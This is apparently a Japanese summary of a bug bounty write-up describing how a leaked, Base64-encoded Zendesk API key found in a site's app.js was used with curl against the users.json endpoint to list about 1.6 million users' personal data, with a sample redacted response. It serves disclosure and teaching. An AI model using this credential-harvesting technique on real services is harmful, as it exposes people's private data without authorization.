Hello there, ('ω')ノ
1600kユーザのPIIデータにアクセスする方法を。
脆弱性:
情報開示
記事:
https://gokulap.medium.com/how-i-got-access-to-1600k-users-pii-data-64a27a540963
今回は、脆弱性をどのように見つけたか。
ターゲットをtarget.comとして取り上げることに。
ターゲットをテストしていて、セッション管理と論理エラーに関連するバグを。
見つけたいので、ログイン機能をテストしてBurpを起動し。
機密性の高いアクションと応答を確認するためにリクエストを操作して。
通常は、BurpでIntercept、Repeater、Intruderを単独で使用して。
次にBurp HTTP Historyを表示し、そこに記録されたURLのすべての履歴を確認して。
そこでスクロールして、JSONを含む応答を確認することに。
次に、その履歴タブでリクエスト/app.jsを確認し、ソースコードを表示すると。
そのjsファイル内にzendesk URL、FBAppIDなどのjsonが含まれていて。
一見したところ、FBAppIDはいくつかのプライベートデータだと思い。
それについて調べて、それが単なるパブリックデータであることがわかって。
次に、同じjsonで「access token」を取得して。
Base64エンコードされているので、トークンと結果をデコードして下記を取得して。
「senior@target.com/token:xxxxxxxx」
次にKeyhacksリポジトリを使用して、Zendesk apiキーであることがわかって。
https://github.com/streaak/keyhacks
APIキーを取得しましたが、それは何のためにあるのか。
Zendeskとは何か、またはそのAPIキーの使用方法すら知らなかったので。
少し調べてみると、多くのサイトを参照して1つのドキュメントを入手すると。
下記のエンドポイントがあって。
https://{target}.zendesk.com/api/v1/users.json
このAPIエンドポイントをAPIキーに対して認証するために。
最初にcurlすることに。
curl https://{target}.zendesk.com/api/v1/users.json
応答:
{"error":"Couldn't authenticate you"}
次に下記のようにAPIキーを使用することに。
curl https://{target}.zendesk.com/api/v1/users.json -u (API_KEY)
応答:
{
"id": 123xxxxx,
"name": "Victim",
"email": "victim@gmail.com",
"created_at": "2015-11-25T06:00:20Z",
"updated_at": "2015-11-25T06:00:20Z",
"time_zone": "Ekaterinburg",
"iana_time_zone": "Asia/Yekaterinburg",
"phone": xxxxxxxxxx,
"shared_phone_number": null,
"photo": null,
"locale_id": 1,
"locale": "en-US",
"organization_id": null,
"role": "end-user",
"verified": false,
"external_id": null,
"tags": [],
"alias": null,
"active": true,
"shared": false,
"shared_agent": false,
"last_login_at": null,
"two_factor_auth_enabled": false,
"signature": null,
"details": null,
"notes": null,
"role_type": null,
"custom_role_id": null,
}
} "system::embeddable_last_seen": null
..........
..........
"count" : 1645729
}
約16人のLakhユーザの詳細にアクセスできて。
ポイント :
Burp Suiteの履歴を常に確認するように。
Best regards, (^^ゞ